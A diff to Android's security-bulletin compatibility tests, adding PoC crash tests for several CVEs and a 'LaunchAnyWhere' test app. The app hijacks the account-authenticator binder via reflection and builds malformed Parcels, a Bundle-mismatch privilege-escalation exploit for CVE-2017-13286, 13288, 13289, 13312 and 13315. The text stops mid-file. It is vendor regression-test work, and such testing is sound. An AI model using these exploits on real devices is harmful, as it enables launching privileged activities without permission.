+    public void testPocCVE_2016_4658() throws Exception {
+        String inputFiles[] = {"cve_2016_4658.xml"};
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2016-4658",
+                AdbUtils.TMP_PATH + inputFiles[0] + " \"range(//namespace::*)\"", inputFiles,
+                AdbUtils.TMP_PATH, getDevice());
+    }
+
+    /**
+     * b/36554209
+     * Vulnerability Behaviour: SIGSEGV in self
+     **/
+    @SecurityTest(minPatchLevel = "2017-06")
+    @Test
+    public void testPocCVE_2016_5131() throws Exception {
+        String inputFiles[] = {"cve_2016_5131.xml"};
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2016-5131",
+                AdbUtils.TMP_PATH + inputFiles[0] + " \"name(range-to(///doc))0+0+22\"", inputFiles,
+                AdbUtils.TMP_PATH, getDevice());
+    }
+
+    /**
+     * b/62800140
+     * Vulnerability Behaviour: SIGSEGV in self
+     **/
+    @SecurityTest(minPatchLevel = "2017-10")
+    @Test
+    public void testPocCVE_2017_0814() throws Exception {
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-0814", null, getDevice());
+    }
+
+     /**
+     *  b/120789744
+     *  Vulnerability Behaviour: EXIT_VULNERABLE (113)
+     */
+    @SecurityTest(minPatchLevel = "2019-03")
+    @Test
+    public void testPocCVE_2019_2007() throws Exception {
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-2007", null, getDevice());
+    }
+
+    /**
+     * b/65540999
+     * Vulnerability Behaviour: Assert failure
+     **/
+    @SecurityTest(minPatchLevel = "2017-11")
+    @Test
+    public void testPocCVE_2017_0847() throws Exception {
+        String cmdOut = AdbUtils.runCommandLine("ps -eo cmd,gid | grep mediametrics", getDevice());
+        if (cmdOut.length() > 0) {
+            String[] segment = cmdOut.split("\\s+");
+            if (segment.length > 1) {
+                if (segment[1].trim().equals("0")) {
+                    Assert.fail("mediametrics has root group id");
+                }
+            }
+        }
+    }
+
+    /**
+     * b/32096780
+     * Vulnerability Behaviour: SIGSEGV in self
+     **/
+    @SecurityTest(minPatchLevel = "2017-08")
+    @Test
+    public void testPocCVE_2017_0713() throws Exception {
+        String inputFiles[] = {"cve_2017_0713.ttf"};
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-0713",
+                AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice());
+    }
+
+    /**
+     * b/112159345
+     * Vulnerability Behaviour: SIGSEGV in self
+     **/
+    @SecurityTest(minPatchLevel = "2018-01")
+    @Test
+    public void testPocCVE_2018_9527() throws Exception {
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2018-9527", null, getDevice());
+    }
+
+    /**
+     * b/37761553
+     * Vulnerability Behaviour: SIGSEGV in self
+     **/
+    @SecurityTest(minPatchLevel = "2017-06")
+    @Test
+    public void testPocCVE_2016_8332() throws Exception {
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2016-8332", null, getDevice());
+    }
+
+    /**
+     * b/62948670
+     * Vulnerability Behaviour: SIGSEGV in media.codec
+     */
+    @SecurityTest(minPatchLevel = "2017-11")
+    @Test
+    public void testPocCVE_2017_0840() throws Exception {
+        pocPusher.only32();
+        String processPatternStrings[] = {"media\\.codec", "omx@\\d+?\\.\\d+?-service"};
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-0840", null, getDevice(),
+                processPatternStrings);
+    }
+
+    /**
+     * b/69065651
+     * Vulnerability Behaviour: SIGSEGV in media.codec
+     */
+    @SecurityTest(minPatchLevel = "2018-02")
+    @Test
+    public void testPocCVE_2017_13241() throws Exception {
+        pocPusher.only32();
+        String processPatternStrings[] = {"media\\.codec", "omx@\\d+?\\.\\d+?-service"};
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-13241", null, getDevice(),
+                processPatternStrings);
+    }
+
+    /**
+     * b/30033990
+     * Vulnerability Behaviour: SIGSEGV in media.codec
+     */
+    @SecurityTest(minPatchLevel = "2016-10")
+    @Test
+    public void testPocCVE_2016_3909() throws Exception {
+        pocPusher.only32();
+        String processPatternStrings[] = {"media\\.codec", "omx@\\d+?\\.\\d+?-service"};
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2016-3909", null, getDevice(),
+                processPatternStrings);
+    }
+
+    /******************************************************************************
+     * To prevent merge conflicts, add tests for P below this comment, before any
+     * existing test methods
+     ******************************************************************************/
+
+    /**
+     * b/112891564
+     * Vulnerability Behaviour: SIGSEGV in self (Android P),
+     *                          SIGABRT in self (Android Q onward)
+     */
+    @SecurityTest(minPatchLevel = "2018-11")
+    @Test
+    public void testPocCVE_2018_9537() throws Exception {
+        String binaryName = "CVE-2018-9537";
+        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config.setSignals(signals);
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+
+    /******************************************************************************
+     * To prevent merge conflicts, add tests for Q below this comment, before any
+     * existing test methods
+     ******************************************************************************/
+}
diff --git a/hostsidetests/securitybulletin/test-apps/Android.mk b/hostsidetests/securitybulletin/test-apps/Android.mk
new file mode 100644
index 0000000..f8d63a5
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/Android.mk
@@ -0,0 +1,23 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+
+# Build the test APKs using their own makefiles
+include $(call all-makefiles-under,$(LOCAL_PATH))
\ No newline at end of file
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdatePreparer/Android.mk b/hostsidetests/securitybulletin/test-apps/launchanywhere/Android.mk
similarity index 68%
rename from hostsidetests/appsecurity/test-apps/PrivilegedUpdatePreparer/Android.mk
rename to hostsidetests/securitybulletin/test-apps/launchanywhere/Android.mk
index 77d2b82..226c360 100644
--- a/hostsidetests/appsecurity/test-apps/PrivilegedUpdatePreparer/Android.mk
+++ b/hostsidetests/securitybulletin/test-apps/launchanywhere/Android.mk
@@ -1,5 +1,5 @@
 #
-# Copyright (C) 2019 The Android Open Source Project
+# Copyright (C) 2018 The Android Open Source Project
 #
 # Licensed under the Apache License, Version 2.0 (the "License");
 # you may not use this file except in compliance with the License.
@@ -20,16 +20,15 @@
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
-#LOCAL_STATIC_JAVA_LIBRARIES := android-support-test compatibility-device-util ctstestrunner
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util
-#LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_DEX_PREOPT := false
-LOCAL_PACKAGE_NAME := CtsPrivilegedUpdatePreparer
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-include $(BUILD_CTS_PACKAGE)
+LOCAL_PACKAGE_NAME := CtsHostLaunchAnyWhereApp
 
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+
+LOCAL_PROGUARD_ENABLED := disabled
+LOCAL_DEX_PREOPT := false
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
\ No newline at end of file
diff --git a/hostsidetests/securitybulletin/test-apps/launchanywhere/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/launchanywhere/AndroidManifest.xml
new file mode 100644
index 0000000..1553c92
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/launchanywhere/AndroidManifest.xml
@@ -0,0 +1,44 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="com.android.security.cts.launchanywhere"
+    android:versionCode="1"
+    android:versionName="1.0">
+
+    <application android:label="LaunchAnyWhere Exploitation App">
+        <activity android:name=".StartExploit">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+
+        <service android:name=".AuthenticatorService"
+            android:enabled="true"
+            android:exported="true">
+
+            <intent-filter>
+                <action android:name="android.accounts.AccountAuthenticator" />
+            </intent-filter>
+
+            <meta-data
+                android:name="android.accounts.AccountAuthenticator"
+                android:resource="@xml/launchanywhere_authenticator" />
+        </service>
+
+    </application>
+</manifest>
\ No newline at end of file
diff --git a/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/launchanywhere/res/xml/launchanywhere_authenticator.xml
similarity index 73%
rename from tests/tests/media/androidx/heifwriter/1.1.0-alpha01/AndroidManifest.xml
rename to hostsidetests/securitybulletin/test-apps/launchanywhere/res/xml/launchanywhere_authenticator.xml
index 186bbb1a..bd8643f 100644
--- a/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/AndroidManifest.xml
+++ b/hostsidetests/securitybulletin/test-apps/launchanywhere/res/xml/launchanywhere_authenticator.xml
@@ -1,6 +1,5 @@
 <?xml version="1.0" encoding="utf-8"?>
-<!--
- Copyright (C) 2018 The Android Open Source Project
+<!-- Copyright (C) 2018 The Android Open Source Project
 
      Licensed under the Apache License, Version 2.0 (the "License");
      you may not use this file except in compliance with the License.
@@ -14,9 +13,8 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="androidx.heifwriter" >
 
-    <uses-sdk android:minSdkVersion="28" />
-
-</manifest>
\ No newline at end of file
+<account-authenticator
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:accountType="com.launchanywhere"
+    />
\ No newline at end of file
diff --git a/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/Authenticator.java b/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/Authenticator.java
new file mode 100644
index 0000000..536d9da
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/Authenticator.java
@@ -0,0 +1,180 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.security.cts.launchanywhere;
+
+import android.accounts.AbstractAccountAuthenticator;
+import android.accounts.Account;
+import android.accounts.AccountAuthenticatorResponse;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.os.IInterface;
+import android.os.Parcel;
+import android.os.RemoteException;
+
+import java.io.FileDescriptor;
+import java.lang.reflect.Field;
+
+public class Authenticator extends AbstractAccountAuthenticator {
+    static public IGenerateMalformedParcel exploit;
+
+    private int TRANSACTION_onResult;
+    private IBinder mOriginRemote;
+    private IBinder mProxyRemote = new IBinder() {
+        @Override
+        public String getInterfaceDescriptor() throws RemoteException {
+            return null;
+        }
+
+        @Override
+        public boolean pingBinder() {
+            return false;
+        }
+
+        @Override
+        public boolean isBinderAlive() {
+            return false;
+        }
+
+        @Override
+        public IInterface queryLocalInterface(String descriptor) {
+            return null;
+        }
+
+        @Override
+        public void dump(FileDescriptor fd, String[] args) throws RemoteException {}
+
+        @Override
+        public void dumpAsync(FileDescriptor fd, String[] args)
+        throws RemoteException {}
+
+        @Override
+        public boolean transact(int code, Parcel data, Parcel reply, int flags)
+        throws RemoteException {
+        if (code == TRANSACTION_onResult) {
+            data.recycle();
+            Intent payload = new Intent();
+            payload.setAction(Intent.ACTION_REBOOT);
+            data = exploit.generate(payload);
+        }
+
+        mOriginRemote.transact(code, data, reply, flags);
+        return true;
+        }
+
+        @Override
+        public void linkToDeath(DeathRecipient recipient, int flags)
+        throws RemoteException {}
+
+        @Override
+        public boolean unlinkToDeath(DeathRecipient recipient, int flags) {
+            return false;
+        }
+    };
+
+    public Authenticator(Context context) {
+        super(context);
+    }
+
+    @Override
+    public String getAuthTokenLabel(String authTokenType) {
+        return null;
+    }
+
+    @Override
+    public Bundle editProperties(AccountAuthenticatorResponse response,
+            String accountType) {
+        return null;
+    }
+
+    @Override
+    public Bundle getAuthToken(AccountAuthenticatorResponse response,
+            Account account, String authTokenType, Bundle options) {
+        return null;
+    }
+
+    @Override
+    public Bundle addAccount(AccountAuthenticatorResponse response,
+            String accountType, String authTokenType, String[] requiredFeatures,
+            Bundle options) {
+        try {
+            Field mAccountAuthenticatorResponseField =
+                Class.forName("android.accounts.AccountAuthenticatorResponse")
+                .getDeclaredField("mAccountAuthenticatorResponse");
+
+            mAccountAuthenticatorResponseField.setAccessible(true);
+
+            Object mAccountAuthenticatorResponse =
+                mAccountAuthenticatorResponseField.get(response);
+
+            Class stubClass = null;
+            String responseName = "android.accounts.IAccountAuthenticatorResponse";
+            Class<?>[] classes = Class.forName(responseName).getDeclaredClasses();
+
+            String stubName = responseName + ".Stub";
+            for (Class inner : classes) {
+                if (inner.getCanonicalName().equals(stubName)) {
+                    stubClass = inner;
+                    break;
+                }
+            }
+
+            Field TRANSACTION_onResultField =
+                stubClass.getDeclaredField("TRANSACTION_onResult");
+            TRANSACTION_onResultField.setAccessible(true);
+            TRANSACTION_onResult = TRANSACTION_onResultField.getInt(null);
+
+            Class proxyClass = null;
+            String proxyName = stubName + ".Proxy";
+            for (Class inner : stubClass.getDeclaredClasses()) {
+                if (inner.getCanonicalName().equals(proxyName)) {
+                    proxyClass = inner;
+                    break;
+                }
+            }
+
+            Field mRemoteField = proxyClass.getDeclaredField("mRemote");
+            mRemoteField.setAccessible(true);
+            mOriginRemote = (IBinder) mRemoteField.get(mAccountAuthenticatorResponse);
+            mRemoteField.set(mAccountAuthenticatorResponse, mProxyRemote);
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+
+        return new Bundle();
+    }
+
+    @Override
+    public Bundle confirmCredentials(
+            AccountAuthenticatorResponse response, Account account, Bundle options) {
+        return null;
+            }
+
+    @Override
+    public Bundle updateCredentials(AccountAuthenticatorResponse response,
+            Account account, String authTokenType, Bundle options) {
+        return null;
+    }
+
+    @Override
+    public Bundle hasFeatures(
+            AccountAuthenticatorResponse response, Account account, String[] features)
+    {
+        return null;
+    }
+}
\ No newline at end of file
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/AutoClosingActivity.java b/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/AuthenticatorService.java
similarity index 64%
copy from hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/AutoClosingActivity.java
copy to hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/AuthenticatorService.java
index 5ee3aeb..58d75b8 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/AutoClosingActivity.java
+++ b/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/AuthenticatorService.java
@@ -1,4 +1,4 @@
-/*
+/**
  * Copyright (C) 2018 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
@@ -14,16 +14,17 @@
  * limitations under the License.
  */
 
-package com.android.cts.usepermission;
+package com.android.security.cts.launchanywhere;
 
-import android.app.Activity;
-import android.os.Bundle;
+import android.app.Service;
+import android.content.Intent;
+import android.os.IBinder;
 
-public class AutoClosingActivity extends Activity {
+public class AuthenticatorService extends Service {
+    protected static final String TAG = StartExploit.TAG;
+
     @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        finish();
+    public IBinder onBind(Intent intent) {
+        return new Authenticator(this).getIBinder();
     }
-}
+}
\ No newline at end of file
diff --git a/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/CVE_2017_13286.java b/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/CVE_2017_13286.java
new file mode 100644
index 0000000..752b06d
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/CVE_2017_13286.java
@@ -0,0 +1,78 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.launchanywhere;
+
+import com.android.security.cts.launchanywhere.IGenerateMalformedParcel;
+import android.accounts.AccountManager;
+import android.content.Intent;
+import android.os.Parcel;
+
+public class CVE_2017_13286 implements IGenerateMalformedParcel {
+    @Override
+    public Parcel generate(Intent intent) {
+        Parcel data = Parcel.obtain();
+        data.writeInterfaceToken("android.accounts." +
+                "IAccountAuthenticatorResponse");
+        data.writeInt(1);
+        int bundleLenPos = data.dataPosition();
+        data.writeInt(0xffffffff);
+        data.writeInt(0x4C444E42);
+        int bundleStartPos = data.dataPosition();
+        data.writeInt(3);
+
+        data.writeString("launchanywhere");
+        data.writeInt(4);
+        data.writeString("android.hardware.camera2.params.OutputConfiguration");
+        data.writeInt(0);
+        data.writeInt(1);
+        data.writeInt(2);
+        data.writeInt(3);
+        data.writeInt(4);
+        data.writeInt(5);
+        data.writeInt(0);
+        data.writeInt(0);
+        data.writeInt(0);
+        data.writeInt(13);
+
+        int byteArrayLenPos = data.dataPosition();
+        data.writeInt(0xffffffff);
+        int byteArrayStartPos = data.dataPosition();
+        data.writeInt(0);
+        data.writeInt(0);
+        data.writeInt(0);
+        data.writeInt(0);
+        data.writeInt(0);
+        data.writeInt(0);
+        data.writeString(AccountManager.KEY_INTENT);
+        data.writeInt(4);
+        data.writeString("android.content.Intent");
+        intent.writeToParcel(data, 0);
+        int byteArrayEndPos = data.dataPosition();
+        data.setDataPosition(byteArrayLenPos);
+        int byteArrayLen = byteArrayEndPos - byteArrayStartPos;
+        data.writeInt(byteArrayLen);
+        data.setDataPosition(byteArrayEndPos);
+
+        int bundleEndPos = data.dataPosition();
+        data.setDataPosition(bundleLenPos);
+        int bundleLen = bundleEndPos - bundleStartPos;
+        data.writeInt(bundleLen);
+        data.setDataPosition(bundleEndPos);
+
+        return data;
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/CVE_2017_13288.java b/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/CVE_2017_13288.java
new file mode 100644
index 0000000..a503513
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/CVE_2017_13288.java
@@ -0,0 +1,66 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.security.cts.launchanywhere;
+
+import android.accounts.AccountManager;
+import android.content.Intent;
+import android.os.Parcel;
+
+public class CVE_2017_13288 implements IGenerateMalformedParcel {
+    @Override
+    public Parcel generate(Intent intent) {
+        Parcel data = Parcel.obtain();
+        data.writeInterfaceToken("android.accounts." +
+                "IAccountAuthenticatorResponse");
+        data.writeInt(1);
+        int bundleLenPos = data.dataPosition();
+        data.writeInt(0xffffffff);
+        data.writeInt(0x4C444E42);
+        int bundleStartPos = data.dataPosition();
+        data.writeInt(2);
+
+        data.writeString("launchanywhere");
+        data.writeInt(4);
+        data.writeString("android.bluetooth.le.PeriodicAdvertisingReport");
+        data.writeInt(0);
+        data.writeInt(0);
+        data.writeInt(0);
+        data.writeInt(1);
+        data.writeInt(1);
+
+        int byteArrayLenPos = data.dataPosition();
+        data.writeInt(0xffffffff);
+        int byteArrayStartPos = data.dataPosition();
+        data.writeString(AccountManager.KEY_INTENT);
+        data.writeInt(4);
+        data.writeString("android.content.Intent");
+        intent.writeToParcel(data, 0);
+        int byteArrayEndPos = data.dataPosition();
+        data.setDataPosition(byteArrayLenPos);
+        int byteArrayLen = byteArrayEndPos - byteArrayStartPos;
+        data.writeInt(byteArrayLen);
+        data.setDataPosition(byteArrayEndPos);
+
+        int bundleEndPos = data.dataPosition();
+        data.setDataPosition(bundleLenPos);
+        int bundleLen = bundleEndPos - bundleStartPos;
+        data.writeInt(bundleLen);
+        data.setDataPosition(bundleEndPos);
+
+        return data;
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/CVE_2017_13289.java b/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/CVE_2017_13289.java
new file mode 100644
index 0000000..716dda6
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/CVE_2017_13289.java
@@ -0,0 +1,92 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.security.cts.launchanywhere;
+
+import android.accounts.AccountManager;
+import android.content.Intent;
+import android.os.Parcel;
+
+public class CVE_2017_13289 implements IGenerateMalformedParcel {
+    public Parcel generate(Intent intent) {
+        Parcel data = Parcel.obtain();
+        String responseName = "android.accounts.IAccountAuthenticatorResponse";
+        data.writeInterfaceToken(responseName);
+        data.writeInt(1);
+        int bundleLenPos = data.dataPosition();
+        data.writeInt(0xffffffff);
+        data.writeInt(0x4C444E42);
+        int bundleStartPos = data.dataPosition();
+        data.writeInt(2);
+
+        data.writeString("launchanywhere");
+        data.writeInt(4);
+        data.writeString("android.net.wifi.RttManager$ParcelableRttResults");
+        data.writeInt(1);
+        data.writeString(null);
+        data.writeInt(0);
+        data.writeInt(0);
+        data.writeInt(0);
+        data.writeInt(0);
+        data.writeInt(0);
+        data.writeInt(0);
+        data.writeInt(0);
+        data.writeLong(0);
+        data.writeInt(0);
+        data.writeInt(0);
+        data.writeInt(0);
+        data.writeLong(0);
+        data.writeLong(0);
+        data.writeLong(0);
+        data.writeInt(0);
+        data.writeInt(0);
+        data.writeInt(0);
+        data.writeInt(0);
+        data.writeInt(0);
+        data.writeInt(0xff);
+        data.writeInt(12);
+        data.writeInt(12);
+        data.writeInt(12);
+        data.writeInt(0);
+        data.writeInt(0);
+        data.writeInt(0);
+
+        data.writeInt(0);
+
+        data.writeString(null);
+        data.writeInt(13);
+        int byteArrayLenPos = data.dataPosition();
+        data.writeInt(0xffffffff);
+        int byteArrayStartPos = data.dataPosition();
+        data.writeString(AccountManager.KEY_INTENT);
+        data.writeInt(4);
+        data.writeString("android.content.Intent");
+        intent.writeToParcel(data, 0);
+        int byteArrayEndPos = data.dataPosition();
+        data.setDataPosition(byteArrayLenPos);
+        int byteArrayLen = byteArrayEndPos - byteArrayStartPos;
+        data.writeInt(byteArrayLen);
+        data.setDataPosition(byteArrayEndPos);
+
+        int bundleEndPos = data.dataPosition();
+        data.setDataPosition(bundleLenPos);
+        int bundleLen = bundleEndPos - bundleStartPos;
+        data.writeInt(bundleLen);
+        data.setDataPosition(bundleEndPos);
+
+        return data;
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/CVE_2017_13312.java b/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/CVE_2017_13312.java
new file mode 100644
index 0000000..4678de2
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/CVE_2017_13312.java
@@ -0,0 +1,76 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.security.cts.launchanywhere;
+
+import android.accounts.AccountManager;
+import android.content.Intent;
+import android.os.Parcel;
+
+public class CVE_2017_13312 implements IGenerateMalformedParcel {
+    public Parcel generate(Intent intent) {
+        Parcel data = Parcel.obtain();
+        data.writeInterfaceToken("android.accounts.IAccountAuthenticatorResponse");
+        data.writeInt(1);
+        int bundleLenPos = data.dataPosition();
+        data.writeInt(0xffffffff);
+        data.writeInt(0x4C444E42);
+        int bundleStartPos = data.dataPosition();
+        data.writeInt(3);
+
+        try {
+            Class clazz = Class.forName("android.media.MediaCas$ParcelableCasData");
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+
+        data.writeString("xjoa8h2");
+        data.writeInt(4);
+        data.writeString("android.media.MediaCas$ParcelableCasData");
+
+        data.writeInt(13);
+        data.writeInt(32);
+        data.writeInt(0);
+        data.writeInt(0);
+        data.writeInt(0);
+        data.writeInt(0);
+        data.writeInt(0);
+        data.writeInt(0);
+
+        data.writeInt(13);
+        int byteArrayLenPos = data.dataPosition();
+        data.writeInt(0xffffffff);
+        int byteArrayStartPos = data.dataPosition();
+        data.writeString(AccountManager.KEY_INTENT);
+        data.writeInt(4);
+        data.writeString("android.content.Intent");
+        intent.writeToParcel(data, 0);
+        int byteArrayEndPos = data.dataPosition();
+        data.setDataPosition(byteArrayLenPos);
+        int byteArrayLen = byteArrayEndPos - byteArrayStartPos;
+        data.writeInt(byteArrayLen);
+        data.setDataPosition(byteArrayEndPos);
+
+        int bundleEndPos = data.dataPosition();
+        data.setDataPosition(bundleLenPos);
+        int bundleLen = bundleEndPos - bundleStartPos;
+        data.writeInt(bundleLen);
+        data.setDataPosition(bundleEndPos);
+
+        return data;
+    }
+}
+
diff --git a/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/CVE_2017_13315.java b/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/CVE_2017_13315.java
new file mode 100644
index 0000000..dc15e7e
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/CVE_2017_13315.java
@@ -0,0 +1,69 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.security.cts.launchanywhere;
+
+import android.accounts.AccountManager;
+import android.content.Intent;
+import android.os.Parcel;
+
+public class CVE_2017_13315 implements IGenerateMalformedParcel {
+    public Parcel generate(Intent intent) {
+        Parcel data = Parcel.obtain();
+        data.writeInterfaceToken("android.accounts.IAccountAuthenticatorResponse");
+        data.writeInt(1);
+        int bundleLenPos = data.dataPosition();
+        data.writeInt(0xffffffff);
+        data.writeInt(0x4C444E42);
+        int bundleStartPos = data.dataPosition();
+        data.writeInt(3);
+
+        data.writeString("launchanywhere");
